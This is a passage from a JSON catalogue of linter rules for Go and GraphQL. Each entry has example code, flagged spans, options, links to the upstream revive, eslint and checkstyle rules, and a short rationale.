        "input": "package a\n\nfunc f(a bool) int {\n\tif a {\n\t\treturn 1\n\t} else {\n\t\treturn 2\n\t}\n}\n\nfunc h(a, b bool) int {\n\tif a {\n\t\treturn 1\n\t} else if b {\n\t\treturn 2\n\t}\n\tif x := g(); x {\n\t\treturn 1\n\t} else {\n\t\tg()\n\t}\n\tif a {\n\t\tg()\n\t} else {\n\t\treturn 3\n\t}\n\treturn 0\n}\n\nfunc n(a, b bool) int {\n\tif a {\n\t\tif b {\n\t\t\treturn 1\n\t\t} else {\n\t\t\treturn 2\n\t\t}\n\t} else {\n\t\tg()\n\t}\n\treturn 0\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 6
          },
          {
            "column": 9,
            "length": 1,
            "line": 19
          },
          {
            "column": 10,
            "length": 1,
            "line": 34
          }
        ]
      },
      "fix": null,
      "id": "indent-error-flow",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "indent-error-flow",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#indent-error-flow"
        }
      ],
      "why": "When the `if` block ends in `return`, the `else` only adds a level of indentation to the code that follows. Without it the normal path stays at the left edge and the early return reads as a guard, which is the Go way of handling errors first. Removing the `else` does not change what the function does.\n\nTo fix, delete `else` and move its block after the `if`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a package that has no comment right above the `package` clause in any file of its directory. The report is made once per directory, at the `package` keyword of the first file by name (a test file too). A test file or a file with a detached comment counts for the comment where it has one, and never causes the report. The files of the directory are read even when only some are linted; the rule is silent when one of them does not parse.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc F() {}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 7,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "missing-package-comment",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "package-comments",
          "note": "52 findings are missed where a generated or build-excluded sibling that revive does not load holds the first file name or the only comment",
          "partial": true,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#package-comments"
        }
      ],
      "why": "The package comment is the first thing `go doc` and the package index show, and it tells a reader what the package is for. A package without one is listed with no description.\n\nTo fix, add a comment of the form `// Package name does ...` right above the `package` clause of one file."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a package comment whose first line does not start with `Package` and the name of the package. A comment of the right form with a blank line before the `package` clause is reported as detached. A file of package `main` is not checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "// Does things.\npackage a\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 15,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "package-comment-form",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "package-comments",
          "note": "52 findings are missed where a generated or build-excluded sibling that revive does not load holds the first file name or the only comment",
          "partial": true,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#package-comments"
        }
      ],
      "why": "Documentation tools read the first sentence of the package comment as the package's summary, and a fixed form makes the summaries of all packages read the same. A blank line between the comment and the `package` clause makes the comment a plain comment, not the package's documentation.\n\nTo fix, start with `Package name` and remove the blank line."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "`for k, _ := range x`: the second value is the blank identifier, so `for k := range x` says the same.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc f(xs []int) {\n\tfor i, _ := range xs {\n\t}\n\tfor i, v := range xs {\n\t}\n\tfor i := range xs {\n\t}\n\tfor _, _ = range xs {\n\t}\n\tfor _, v := range xs {\n\t}\n}\n",
        "language": "go",
        "other_lines": [
          6,
          8,
          12
        ],
        "spans": [
          {
            "column": 6,
            "length": 1,
            "line": 4
          },
          {
            "column": 6,
            "length": 1,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "range",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "range",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#range"
        }
      ],
      "why": "`for k, _ := range x` and `for k := range x` do the same; the blank identifier is noise that suggests the second value matters. The short form is what `gofmt -s` produces, so code that uses it needs no later cleanup."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "The methods of a type declared in one file name their receiver the same. The first method sets the name; `_`, `this` and `self` are left to `receiver-naming`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\ntype T struct{}\ntype S[K any] struct{}\n\nfunc (t T) A()   {}\nfunc (u *T) B()  {}\nfunc (t *T) C()  {}\nfunc (self T) D() {}\nfunc (_ T) E()   {}\nfunc (T) F()     {}\nfunc (this *T) G() {}\n\nfunc (s *S[K]) H() {}\nfunc (x *S[K]) I() {}\nfunc (s S[K]) J()  {}\n\ntype U struct{}\n\nfunc (u U) A()  {}\nfunc (U) B()    {}\nfunc (v *U) C() {}\nfunc f(t T)     {}\n",
        "language": "go",
        "other_lines": [
          9,
          10,
          12
        ],
        "spans": [
          {
            "column": 1,
            "length": 19,
            "line": 7
          },
          {
            "column": 1,
            "length": 21,
            "line": 15
          },
          {
            "column": 1,
            "length": 18,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "receiver-name-consistent",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "receiver-naming",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#receiver-naming"
        }
      ],
      "why": "A method set reads as one unit. When one method calls its receiver `s` and the next `srv`, a reader has to check each body to know that both mean the same value, and a copied body keeps the wrong name. The Go code review comments ask for one receiver name per type."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "The name of a method's receiver is `_`, `this` or `self`: a receiver is named by a short form of its type, and left out when the method does not use it.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\ntype T struct{}\ntype S[K any] struct{}\n\nfunc (t T) A()   {}\nfunc (u *T) B()  {}\nfunc (t *T) C()  {}\nfunc (self T) D() {}\nfunc (_ T) E()   {}\nfunc (T) F()     {}\nfunc (this *T) G() {}\n\nfunc (s *S[K]) H() {}\nfunc (x *S[K]) I() {}\nfunc (s S[K]) J()  {}\n\ntype U struct{}\n\nfunc (u U) A()  {}\nfunc (U) B()    {}\nfunc (v *U) C() {}\nfunc f(t T)     {}\n",
        "language": "go",
        "other_lines": [
          7,
          15,
          22
        ],
        "spans": [
          {
            "column": 7,
            "length": 4,
            "line": 9
          },
          {
            "column": 7,
            "length": 1,
            "line": 10
          },
          {
            "column": 7,
            "length": 4,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "receiver-naming",
      "languages": [
        "go"
      ],
      "options": [
        {
          "default": "!^(?:_|this|self)$",
          "description": "A regular expression the receiver name must match; one that starts with `!` is one it must not match. Empty: not checked.",
          "name": "receivers",
          "type": "string"
        }
      ],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "receiver-naming",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#receiver-naming"
        }
      ],
      "why": "`this` and `self` carry the habits of other languages into Go, where a receiver is an ordinary parameter named after its type (`s` for `Server`). A `_` receiver is the same as no name, so leaving the name out says the method does not use the value. The Go code review comments ask for short names taken from the type."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a variable, constant, function, parameter, named result or type parameter that has the name of a predeclared identifier (`len`, `new`, `string`, `nil`, `max`, ...); a name on the left of an assignment counts too. A method and a receiver are not reported. The options `allow`, `kinds`, `except_parents` and `assigned_by` change what is checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nvar len = 1\n\nconst iota = 2\n\nfunc new() {}\n\nfunc f(copy int, s string) (error int) {\n\tmax := 1\n\tmin = 2\n\t_, print := 1, 2\n\treturn\n}\n\nfunc (string T) method() {}\n\nfunc g[any int]() {}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 3
          },
          {
            "column": 7,
            "length": 4,
            "line": 5
          },
          {
            "column": 6,
            "length": 3,
            "line": 7
          },
          {
            "column": 8,
            "length": 4,
            "line": 9
          },
          {
            "column": 29,
            "length": 5,
            "line": 9
          },
          {
            "column": 2,
            "length": 3,
            "line": 10
          },
          {
            "column": 2,
            "length": 3,
            "line": 11
          },
          {
            "column": 5,
            "length": 5,
            "line": 12
          },
          {
            "column": 8,
            "length": 3,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "redefines-builtin-id",
      "languages": [
        "go",
        "python"
      ],
      "options": [
        {
          "default": [],
          "description": "Names that may be declared.",
          "name": "allow",
          "type": "list"
        },
        {
          "choices": [
            "variable",
            "parameter",
            "function",
            "class",
            "import",
            "type"
          ],
          "default": [],
          "description": "The declarations that are checked (empty: all).",
          "name": "kinds",
          "type": "list"
        },
        {
          "default": [
            "ReceiverList"
          ],
          "description": "Grammar kinds whose direct declarations are left out (a receiver).",
          "name": "except_parents",
          "type": "list"
        },
        {
          "default": [
            "AssignmentStatement"
          ],
          "description": "Grammar kinds of statements whose left-side names are reported too (`len = 1`, `max += 1`).",
          "name": "assigned_by",
          "type": "list"
        }
      ],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "redefines-builtin-id",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#redefines-builtin-id"
        },
        {
          "id": "A001",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/A001/"
        },
        {
          "id": "A002",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/A002/"
        }
      ],
      "why": "The name hides the built-in in that scope, so a later `len(x)` or `string(b)` calls the new thing or fails to compile far from the declaration. The code works until somebody needs the built-in in the same scope, and then the error is hard to understand.\n\nTo fix, rename the declaration."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "An `else` block after an `if` block that ends in `break`, `continue` or `goto`: the code of the `else` can follow the `if`. An `else if` is left alone.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc f(a, b bool) {\n\tfor {\n\t\tif a {\n\t\t\tcontinue\n\t\t} else {\n\t\t\tg()\n\t\t}\n\t\tif a {\n\t\t\tbreak\n\t\t} else if b {\n\t\t\tg()\n\t\t}\n\t\tif a {\n\t\t\tg()\n\t\t\tgoto end\n\t\t} else {\n\t\t\tg()\n\t\t}\n\t\tif a {\n\t\t\treturn\n\t\t} else {\n\t\t\tg()\n\t\t}\n\t}\nend:\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 10,
            "length": 1,
            "line": 7
          },
          {
            "column": 10,
            "length": 1,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "superfluous-else",
      "languages": [
        "go"
      ],
      "options": [],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "superfluous-else",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#superfluous-else"
        }
      ],
      "why": "When the `if` block ends in `break`, `continue` or `goto`, control never reaches the `else`, so the `else` only indents the code that follows. Without it the code reads as a guard followed by the main path. Removing the `else` does not change what the loop does.\n\nTo fix, delete `else` and move its block after the `if`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a parameter of a function with a body (a declaration or a literal) that its body never mentions. A name that matches `ignore_pattern` and the blank identifier are not checked; the receiver and the named results are not parameters; an assignment to a parameter counts as a use.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nfunc used(a, b int) int { return a + b }\n\nfunc unused(a, b int) int {\n\treturn a\n}\n\nfunc assigned(a int) { a = 1 }\nfunc blank(_ int, _x string) {}\n\nfunc lit() func(int) int {\n\treturn func(n int) int { return 1 }\n}\n\nfunc (r *T) method(x int) (n int, err error) {\n\treturn\n}\n\nfunc shadowed(a int) {\n\tif true {\n\t\ta := 1\n\t\t_ = a\n\t}\n}\n\ntype F func(a int)\nfunc noBody(a int)\n\nfunc initReads(ctx int) {\n\tctx, c := wrap(ctx)\n\t_, _ = ctx, c\n\tif true {\n\t\tctx := ctx + 1\n\t\t_ = ctx\n\t}\n}\n\nfunc readBefore(err error) {\n\tif err != nil {\n\t\treturn\n\t}\n\tx, err := wrap(2)\n\t_, _ = x, err\n}\n\nfunc redeclared(ml int) {\n\tml, err := wrap(1)\n\t_, _ = ml, err\n}\n\nfunc newBool(pos int, true bool) bool {\n\treturn true\n}\n\nfunc deferred() {\n\tdefer func(iota int) { sink = iota }(1)\n}\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 16,
            "length": 1,
            "line": 5
          },
          {
            "column": 14,
            "length": 1,
            "line": 13
          },
          {
            "column": 20,
            "length": 1,
            "line": 16
          },
          {
            "column": 15,
            "length": 1,
            "line": 20
          },
          {
            "column": 14,
            "length": 3,
            "line": 52
          }
        ]
      },
      "fix": null,
      "id": "unused-parameter",
      "languages": [
        "go",
        "js",
        "powershell"
      ],
      "options": [
        {
          "choices": [
            "after-used",
            "all",
            "none"
          ],
          "default": "all",
          "description": "Which parameters are checked: those after the last one that is read, all of them, or none.",
          "name": "args",
          "type": "string"
        },
        {
          "default": "^_",
          "description": "A regex for the names that are not checked (revive's `allowRegex`).",
          "name": "ignore_pattern",
          "type": "string"
        }
      ],
      "presets": [
        "go/revive",
        "js/eslint-recommended",
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint",
        "powershell/psscriptanalyzer"
      ],
      "upstream": [
        {
          "id": "no-unused-vars",
          "note": "the options keep their defaults; `/*exported*/` and `/*global*/` comments are not read; a JSX tag counts as a use",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unused-vars"
        },
        {
          "id": "PSReviewUnusedParameter",
          "note": "A read in a block inside the function counts; the module counts only reads in the function itself and in `ForEach-Object` and `Where-Object` blocks. Parameters written after the function name (`function f($a)`) are not checked.",
          "partial": true,
          "tool": "psscriptanalyzer",
          "url": "https://learn.microsoft.com/powershell/utility-modules/psscriptanalyzer/rules/reviewunusedparameter"
        },
        {
          "id": "unused-parameter",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#unused-parameter"
        },
        {
          "id": "no-unused-vars",
          "note": "the options keep their defaults; `.d.ts` files and `declare module` blocks are not treated as used",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-unused-vars"
        }
      ],
      "why": "A parameter that nothing reads is either dead weight in the signature or a sign that the body ignores a value it should use (a typo in a name often shows this way).\n\nTo fix, remove the parameter, or use it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a name that is not spelled in Go style: it has an underscore, it is a constant in ALL_CAPS, or it writes a common initialism (`Id`, `Http`, `Url`) in mixed case. Checked are functions and methods with their parameters and results, the methods of interfaces (their parameters and results, not their names), constants, variables, types, the names of `:=` and the fields of structs. Receivers, function literals and function types are not checked. The options `initialisms` and `ignore_pattern` change the words and names.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "package a\n\nconst MAX_VALUE = 1\nconst ok_, maxA = 1, 2\n\nvar userId, other_name int\n\ntype Cpu struct {\n\tId, name_x int\n\t_, fine    int\n}\n\nfunc get_value(url_s, userID string, rest_ ...int) (out_x int) {\n\tx_y := 1\n\tf := func(lit_a int) {}\n\tz := MAX_VALUE\n\treturn x_y\n}\n\nfunc (r_x *T) Method(a_b int) {}\n\ntype I interface {\n\tDo_it(arg_a int) (res_a int)\n}\n\nvar LastInsertId, startHttpServer, v1_2 int\n",
        "language": "go",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 9,
            "line": 3
          },
          {
            "column": 7,
            "length": 3,
            "line": 4
          },
          {
            "column": 5,
            "length": 6,
            "line": 6
          },
          {
            "column": 13,
            "length": 10,
            "line": 6
          },
          {
            "column": 6,
            "length": 3,
            "line": 8
          },
          {
            "column": 2,
            "length": 2,
            "line": 9
          },
          {
            "column": 6,
            "length": 6,
            "line": 9
          },
          {
            "column": 6,
            "length": 9,
            "line": 13
          },
          {
            "column": 16,
            "length": 5,
            "line": 13
          },
          {
            "column": 38,
            "length": 5,
            "line": 13
          },
          {
            "column": 53,
            "length": 5,
            "line": 13
          },
          {
            "column": 2,
            "length": 3,
            "line": 14
          },
          {
            "column": 22,
            "length": 3,
            "line": 20
          },
          {
            "column": 8,
            "length": 5,
            "line": 23
          },
          {
            "column": 20,
            "length": 5,
            "line": 23
          },
          {
            "column": 19,
            "length": 15,
            "line": 26
          }
        ]
      },
      "fix": null,
      "id": "var-naming",
      "languages": [
        "go"
      ],
      "options": [
        {
          "choices": [
            "words",
            "off"
          ],
          "default": "words",
          "description": "The convention of the names: `words` or `off`.",
          "name": "names",
          "type": "string"
        },
        {
          "default": [
            "ACL",
            "API",
            "ASCII",
            "CPU",
            "CSS",
            "DNS",
            "EOF",
            "GUID",
            "HTML",
            "HTTP",
            "HTTPS",
            "ID",
            "IDS",
            "IP",
            "JSON",
            "LHS",
            "QPS",
            "RAM",
            "RHS",
            "RPC",
            "SLA",
            "SMTP",
            "SQL",
            "SSH",
            "TCP",
            "TLS",
            "TTL",
            "UDP",
            "UI",
            "UID",
            "UUID",
            "URI",
            "URL",
            "UTF8",
            "VM",
            "XML",
            "XMPP",
            "XSRF",
            "XSS"
          ],
          "description": "The words (in capitals) that are written in capitals inside a name.",
          "name": "initialisms",
          "type": "list"
        },
        {
          "default": "^(LastInsertId|kWh)$",
          "description": "A regex for the names that are not checked.",
          "name": "ignore_pattern",
          "type": "string"
        }
      ],
      "presets": [
        "go/revive"
      ],
      "upstream": [
        {
          "id": "var-naming",
          "partial": false,
          "tool": "revive",
          "url": "https://github.com/mgechev/revive/blob/v1.17.1/RULES_DESCRIPTIONS.md#var-naming"
        }
      ],
      "why": "Go code is read with the conventions of the standard library, where `userID` and `ServeHTTP` are written the same everywhere. A name that follows another style stands out and makes grep and completion less predictable.\n\nTo fix, rename to mixed caps with initialisms in capitals: `userID`, not `user_id` or `userId`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a name that does not follow the style set for what it names: operations, fragments, variables, fields, arguments, types, enum values and directives. `PascalCase` and `camelCase` allow letters and digits only, `snake_case` and `UPPER_CASE` forbid the other case; leading underscores are ignored. No fix: renaming changes the schema or the queries that use it.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "query get_user($User_id: ID) { user }\nfragment user_fields on User { id }\ntype user_account { first_name(Arg_one: Int): String }\nenum Color { red GREEN }\ndirective @Auth on FIELD\ninput Filter { Name: String }\ntype _Ok { __typename: String }\n",
        "language": "graphql",
        "other_lines": [],
        "spans": [
          {
            "column": 7,
            "length": 8,
            "line": 1
          },
          {
            "column": 16,
            "length": 8,
            "line": 1
          },
          {
            "column": 10,
            "length": 11,
            "line": 2
          },
          {
            "column": 6,
            "length": 12,
            "line": 3
          },
          {
            "column": 21,
            "length": 10,
            "line": 3
          },
          {
            "column": 32,
            "length": 7,
            "line": 3
          },
          {
            "column": 14,
            "length": 3,
            "line": 4
          },
          {
            "column": 12,
            "length": 4,
            "line": 5
          },
          {
            "column": 16,
            "length": 4,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "naming-convention",
      "languages": [
        "graphql",
        "hcl",
        "java"
      ],
      "options": [
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "PascalCase",
          "description": "Style of operation names.",
          "name": "operations",
          "type": "string"
        },
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "PascalCase",
          "description": "Style of fragment names.",
          "name": "fragments",
          "type": "string"
        },
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "camelCase",
          "description": "Style of variable names.",
          "name": "variables",
          "type": "string"
        },
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "camelCase",
          "description": "Style of field and input field names in definitions.",
          "name": "fields",
          "type": "string"
        },
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "camelCase",
          "description": "Style of argument names in definitions.",
          "name": "arguments",
          "type": "string"
        },
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "PascalCase",
          "description": "Style of type names.",
          "name": "types",
          "type": "string"
        },
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "UPPER_CASE",
          "description": "Style of enum values.",
          "name": "enum_values",
          "type": "string"
        },
        {
          "choices": [
            "PascalCase",
            "camelCase",
            "snake_case",
            "UPPER_CASE",
            "off"
          ],
          "default": "camelCase",
          "description": "Style of directive names.",
          "name": "directives",
          "type": "string"
        }
      ],
      "presets": [
        "graphql/graphql-eslint-recommended",
        "java/google"
      ],
      "upstream": [
        {
          "id": "PackageName",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/packagename.html#PackageName"
        },
        {
          "id": "TypeName",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/typename.html#TypeName"
        },
        {
          "id": "MethodName",
          "note": "Google's camel segments and `@Test` method names are patterns of the options `methods` and `test_methods`.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/methodname.html#MethodName"
        },
        {
          "id": "MemberName",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/membername.html#MemberName"
        },
        {
          "id": "NonConstantFieldName",
          "note": "The member pattern of Google's name rule.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks.html"
        },
        {
          "id": "ConstantName",
          "note": "A `static final` field or an interface field; no exceptions list.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/constantname.html#ConstantName"
        },
        {
          "id": "ParameterName",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/parametername.html#ParameterName"
        },
        {
          "id": "CatchParameterName",
          "partial": false,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/catchparametername.html#CatchParameterName"
        },
        {
          "id": "LocalVariableName",
          "note": "No separate pattern for `for` variables.",
          "partial": true,
          "tool": "checkstyle",
          "url": "https://checkstyle.org/checks/naming/localvariablename.html#LocalVariableName"
        },
        {
          "id": "naming-convention",
          "note": "Leading and trailing underscores are `no-name-underscore`. No forbiddenPrefixes, forbiddenSuffixes, requiredPrefixes, requiredSuffixes or ignorePattern; no per-kind styles for the root types, interfaces versus objects, or inputs versus objects; `PascalCase` and `camelCase` accept runs of capitals (`HTTPServer`) that change-case rewrites.",
          "partial": true,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/naming-convention"
        },
        {
          "id": "terraform_naming_convention",
          "note": "One format for every kind of block (tflint sets one per kind) and no custom regular expression.",
          "partial": true,
          "tool": "tflint",
          "url": "https://github.com/terraform-linters/tflint-ruleset-terraform/blob/main/docs/rules/terraform_naming_convention.md"
        }
      ],
      "why": "Names that follow one convention are predictable: a reader can guess the name of a thing, tell a type from a variable at a glance and search for them. A name in another style stands out as a mistake or as code from another project. The convention itself is a choice of the project, which is why the expression is an option.\n\nTo fix, rename the declaration and its uses."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an operation without a name (`{ a }`, `query { a }`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "query Named { a }\n{ b }\nquery { c }\nmutation ($x: Int) { d }\nsubscription S @live { e }\n",
        "language": "graphql",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 2
          },
          {
            "column": 1,
            "length": 5,
            "line": 3
          },
          {
            "column": 1,
            "length": 8,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-anonymous-operations",
      "languages": [
        "graphql"
      ],
      "options": [],
      "presets": [
        "graphql/graphql-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-anonymous-operations",
          "partial": false,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/no-anonymous-operations"
        }
      ],
      "why": "Servers, logs, traces and caches identify an operation by its name. An anonymous one shows up as nothing in the query log, so it cannot be told from the others when something is slow or fails, and a persisted-query store has nothing to key it on.\n\nTo fix, name the operation: `query GetA { a }`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a name that starts or ends with an underscore: a type, field, argument, enum value, directive, operation, fragment or alias, and every reference to one. A field selected in a query is not reported (`__typename`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "scalar Good\nscalar _Any\ntype Query {\n  items(first_: Int): [_Any!]!\n  _entities: Good\n}\nquery Q { items(first_: 1) { __typename } }\n",
        "language": "graphql",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 4,
            "line": 2
          },
          {
            "column": 9,
            "length": 6,
            "line": 4
          },
          {
            "column": 24,
            "length": 4,
            "line": 4
          },
          {
            "column": 3,
            "length": 9,
            "line": 5
          },
          {
            "column": 17,
            "length": 6,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-name-underscore",
      "languages": [
        "graphql"
      ],
      "options": [],
      "presets": [
        "graphql/graphql-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "naming-convention",
          "note": "Leading and trailing underscores are `no-name-underscore`. No forbiddenPrefixes, forbiddenSuffixes, requiredPrefixes, requiredSuffixes or ignorePattern; no per-kind styles for the root types, interfaces versus objects, or inputs versus objects; `PascalCase` and `camelCase` accept runs of capitals (`HTTPServer`) that change-case rewrites.",
          "partial": true,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/naming-convention"
        }
      ],
      "why": "Names that begin with two underscores are reserved for introspection, and one underscore is a mark that style guides use for private or generated names, which GraphQL has no concept of. A schema that avoids them has names that clients can use in generated code without escaping.\n\nTo fix, rename without the underscore."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a field of an object or interface type that starts with the name of the type (`type User { userId: ID }`); case is ignored. No fix: renaming a field changes the schema.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "type User {\n  userId: ID\n  id: ID\n}\ninterface Node { nodeKind: String }\ninput UserInput { userName: String }\n",
        "language": "graphql",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 6,
            "line": 2
          },
          {
            "column": 18,
            "length": 8,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-typename-prefix",
      "languages": [
        "graphql"
      ],
      "options": [],
      "presets": [
        "graphql/graphql-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-typename-prefix",
          "partial": false,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/no-typename-prefix"
        }
      ],
      "why": "The field is always read as `user.userId`, so the type name is said twice. It gets worse when a query is written with aliases or a field moves to another type.\n\nTo fix, drop the prefix (`id`)."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an operation or fragment that nests selection sets deeper than the `max` option allows. Fragments that are spread are not followed.",
      "example": {
        "config": "selection-set-depth:\n  level: warn\n  options:\n    max: 2\n",
        "fixed": null,
        "input": "query Q { a { b { c } } }\nfragment F on T { a { b } }\n",
        "language": "graphql",
        "other_lines": [],
        "spans": [
          {
            "column": 9,
            "length": 1,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "selection-set-depth",
      "languages": [
        "graphql"
      ],
      "options": [
        {
          "default": 7,
          "description": "The deepest allowed nesting; the operation's own selection set is level 1.",
          "name": "max",
          "type": "int"
        }
      ],
      "presets": [],
      "upstream": [
        {
          "id": "selection-set-depth",
          "note": "Fragment spreads are not followed (upstream adds the depth of the spread fragments); no ignore option.",
          "partial": true,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/selection-set-depth"
        }
      ],
      "why": "The cost of a query grows with its depth: each level can multiply the number of objects the server has to load. A depth limit is a cheap protection against queries that are expensive by accident or on purpose.\n\nTo fix, flatten the query, or split it into several requests."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports two fragments of a document with the same name, within one file.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "query A { a }\nquery A { b }\nquery B { c }\nfragment F on T { a }\nfragment F on T { b }\n",
        "language": "graphql",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 10,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "unique-fragment-name",
      "languages": [
        "graphql"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "unique-fragment-name",
          "note": "Not checked across files.",
          "partial": true,
          "tool": "graphql-eslint",
          "url": "https://the-guild.dev/graphql/eslint/rules/unique-fragment-name"
        }
      ],
      "why": "A spread names the fragment it means, and with two of one name the tool cannot tell which, so it takes one or fails depending on the order. Code generators write one type per fragment name and collide.\n\nTo fix, rename one of them."
    },
    {
      "category": "correctness",
